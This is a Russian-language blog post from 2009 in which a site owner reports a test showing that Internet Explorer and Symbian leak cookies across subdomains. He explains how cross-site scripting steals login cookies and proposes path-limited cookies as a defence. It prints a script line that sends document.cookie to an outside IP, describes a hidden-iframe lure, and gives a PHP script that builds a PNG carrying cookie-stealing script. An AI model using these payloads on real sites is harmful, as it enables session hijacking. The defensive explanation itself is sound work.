0
<< предыдущая заметкаследующая заметка >>
18 октября 2009
админам: к вопросу о безопасности куковой авторизации

Итак, вчерашний пост закрыт, а теперь итоги и обещанная статистика. Заходов было 5700 (включая повторные — мне лень было их разделять). Из них на верхнем домене blog.lleo.aha.ru сдали (показали) куку, созданную с областью действия «lleo.aha.ru» (без точки) — 857, то есть 15%. Это практически сплошь браузеры IE любых версий 6,7,8 (не удивляйтесь, у меня в дневнике их исторически необычно низкий процент, что я резонно считаю косвенным признаком общей грамотности и высокого интеллектуального уровня своих читателей). Кроме MSIE, болезнью сдавать чужие куки страдает мобильный Symbian (увы, моя Нокия E90 в том числе). Еще 0.2% браузеров портили стройную картину статистики, и я резонно полагаю, это были сбои или шутники с подмененными хедерами. Таких же 0.8% сбоев было в проверочной директории внутри сайта lleo.aha.ru/test/ — там какие-то браузеры якобы показывали куку с зоной «.lleo.aha.ru», но не показывали куку с зоной «lleo.aha.ru».

Вывод: не существует способа сделать куки видимыми для всего сайта lleo.aha.ru/*, но чтобы они были невидимы на верхних доменах *.lleo.aha.ru. Аналогично полагаю, что куки, установленные сайтом aha.ru (если бы это был чей-то сайт) были бы в некоторых браузерах видны на lleo.aha.ru. Проблема связана с тем, что часть браузеров (а именно: IE и Symbian) не выполняют спецификацию по кукам, выдавая их для верхних доменов, что является дырой в безопасности. Я не хакер и не гуру, но расскажу кое-что, что может оказаться полезной информацией для сайтостроителей.

Что такое дыра в безопасности? Мне все похуй, рассказываю открытым текстом на конкретных примерах. Допустим, у меня есть парольная авторизация на собственном сайте, построенная на куках с зоной действия по всему сайту lleo.aha.ru (потому что она используется и в разделе /dnevnik/ и в разделе /test/ и кажется даже в разделе /na/ и вообще всюду, где мне приспичит проверять свой админский доступ, выданный исторически в разделе дневника, но единый для всех остальных разделов сайта).

Далее: у злоумышленника имеется множество способов спиздить мои куки. Самый простой — подставить такие данные, чтобы они были выведены на странице, открывшейся на моем сайте. Простая строка типа:
<script>window.location.assign('http://123.45.67.88/crack.php?'+document.cookie);</script>
И как только я открою страницу, где она появилась, все мои парольные куки уплывут на загадочный 123.45.67.88, после чего злоумышленник сможет ходить под моим паролем как к себе домой. (На самом деле «у нас есть такие приборы, но мы вам про них не расскажем», но это тоже не гарантия от взлома, особенно если выложить скрипты дневника).

Где может возникнуть такая дыра, чтобы введенная посетителем строка отобразилась на странице? Увы, везде.

1) В скриптах, написанных с ошибкой, где не заэкранирован пользовательский ввод командой htmlspecialchars(). Это, увы, не только классика кривых рук злосчастного админа razgovor.org, а вообще никто от такого не застрахован. Формы поиска, подстановки в строке GET — все может быть использовано для хака. Если у вас на сайте сегодня нет таких дыр, это не значит, что они не появятся завтра, пока вы будете отлаживать что-то новое.

2) В проектах, где на сайте отображается заведомо посторонний контент. У меня таких проектов два: mat и rus (в данное время оба остановлены на «профилактику»). Эти проекты берут указанную пользователем страницу и отображают ее, изменяя каким-то образом (например, переводя все символы в глаголицу). Но страница-то может быть любой, а отображают-то они ее в адресном пространстве, относящемся к моему сайту, поэтому браузер справедливо считает эту страницу моим сайтом и отдает ей все куки, относившиеся к моему сайту. После чего их можно слить на сторону вышеописанным способом. Патчить проходящие мимо страницы невозможно: ты никогда не учтешь все мыслимые способы адресации и хитровыверты.

Оба вышеописанных способа требуют, чтобы сам админ открыл страницу своего сайта с отображенной там строкой хака, тогда можно слить его куки. Сделать это совсем несложно: достаточно кинуть админу мейл со ссылкой и интригующим комментарием «Какой-то чел от твоему имени написал письмо президенту!!!». По ссылке достаточно вместе с дебильным текстом создать незаметный iframe размером 1x1 писель, и в нем подгрузить https://lleo.me/mat/?url=hackurl.com, содержащий вышеупомянутую строчку воровства кук. Браузер админа подгрузит iframe очень тихо и моментально сдаст все его куки, админ ничего не заметит, поглощенный чтением «письма президенту».

3) Также угрозу могут представлять и другие штуки, например, данные, загруженные пользователем. В частности — пользовательские картинки, если вы даете их сохранять на своем сайте. Известно, что многие версии IE (например непатченная 6.0 и некоторые 7.0) имеют баг, который позволяет сформировать картинку png со скриптом, которую IE, мудило, откроет на выполнение, если указать картинку в качестве урла. Это, блять, тоже давно не бином ньютона, а простота неописуемая:

<?php
$s = pack('nnnnnnnn',0x8950,0x4E47,0x0D0A,0x1A0A,0x0000,0x000D,0x4948,0x4452);
$s.= pack('nnnnnnnn',0x0000,0x0001,0x0000,0x0001,0x0802,0x0000,0x0090,0x7753);
$s.= pack('nnnnnnnn',0xDE00,0x0000,0x0467,0x414D,0x4100,0x00B1,0x8F0B,0xFC61);
$s.= pack('nnnnnnnn',0x0500,0x0000,0x0C49,0x4441,0x5418,0x5763,0x6060,0x6000);
$s.= pack('nnnnnnnn',0x0000,0x0400,0x015C,0xCDFF,0x6900,0x0000,0x0049,0x454E);
$s.= pack('nnc',0x44AE,0x4260,0x82);
$s.= "<hTml><bOdY><scRipt>
alert('MSIE дырявая скотина ололоо');
document.write('<img src=http://10.8.0.16/?cookie='+encodeURIComponent(window.document.cookie)+' width=1 height=1>');
</sCriPt></bOdy></hTml>";
file_put_contents('userpick.png',$s);
?>

Соответственно, мы имеем ситуацию, когда можно загрузить картинку, скажем, на pics.livejournal.com, подсунуть ее Васе и Пете в iframe, и она сдаст куки vasya.livejournal.com и petya.livejournal.com, потому что некоторым ебанутым браузерам некоторой известной фирмы Microsoft похуй, кому и куда отдавать куки, и для них все разделы сайтов едины. Массовые взломы ЖЖ, волна которых прокатилась года четыре назад, были сделаны именно так.

4) И, наконец, последнее. Совершенно неизвестно, какие глюки в будущем вылезут в браузерах и системах. Может, выйдет версия MSIE10, где словосочетание "0x001223" вывалит на экран все куки? Неизвестно.

Какой мы делаем вывод? Вывод, увы, неутешительный. Невозможно найти на большом сайте (или многопользовательском портале) место, где важные куки окажутся невидимы во всех браузерах. Зря я год назад поверил специалистам и устроил переезд разделов lleo.aha.ru/mat на mat.lleo.aha.ru — как выяснилось, это не панацея, куки не скроешь и там. Единственный метод, защищающий авторизацию от взлома на больших развесистых сайтах, это указывать зону авторизации очень узкую — например /dnevnik/. И уповать на то, что такие куки ни один браузер не покажет в остальных разделах сайта (что я, кстати, лично не проверял и думаю, там тоже вполне могут оказаться ба-а-альшие для нас сюрпризы от создателей IE, Symbian и прочих бравых прапорщиков софтиндустрии, любящих утверждать, что весь остальной полк марширует не в ногу, а только я в ногу).

Итак, мы делаем зону действия кук лишь в узкой папке сайта. То есть, логин — на весь сайт, а пароль — только в пределах папки. Если понадобится узнать авторизацию из другого места сайта (например, /testiki/) — нам придется применить пляску с бубном. А именно — при первом заходе выяснив, что логин в куках есть, а пароля нет, редиректнуть юзера в специальный скрипт папки /dnevnik/, где будет подтверждена его авторизация внутри папки /dnevnik/, и пользователь будет снова редиректнут обратно на /testiki/, но уже с хэшем по IP, подтвердившим авторизацию (думаю, допустимо передавать такой «хэш подтверждения» не внутренними силами сайта, а тупо в строке GET — пока не вижу, чем бы это могло быть чревато). После этого в /testiki/ можно будет установить свою куку пароля, чтобы больше плясок с редиректом не было.

Самое смешное, насколько я понимаю, именно так работает ЖЖ — дает авторизацию с областью действия на один из журналов (например, твой), и дальше скачет и пляшет с бубнами, когда надо подтвердить ее. Потому что иначе никто не гарантирует, что завтра в журнале vasya появится каким-то образом скрипт или хакнутый видеоплеер или еще что-то новенькое, что сдаст на сторону куки юзера petya, если они будут общими для всего сайта и отданы браузером в журнал vasya.

PS: Да, к тому времени, как снова заработают "проблемные" разделы rus и mat (как снова оказалось, представлявшие большую дыру), в дневнике по понятным причинам будет устроен повальный принудительный перелогин всех залогиненных. Заранее приношу извинения за эту формальность, постараюсь сделать этот перелогин максимально простым и удобным для вас — только ввести пароль и нажать кнопку (для опенид — наоборот, нажать кнопку и ввести пароль ;).

<< предыдущая заметка следующая заметка >>
пожаловаться на эту публикацию администрации портала
архив понравившихся мне ссылок

Комментарии к этой заметке автоматически отключились, потому что прошло больше 7 дней или число посещений превысило 20000. Но если что-то важное, вы всегда можете написать мне письмо: lleo@lleo.me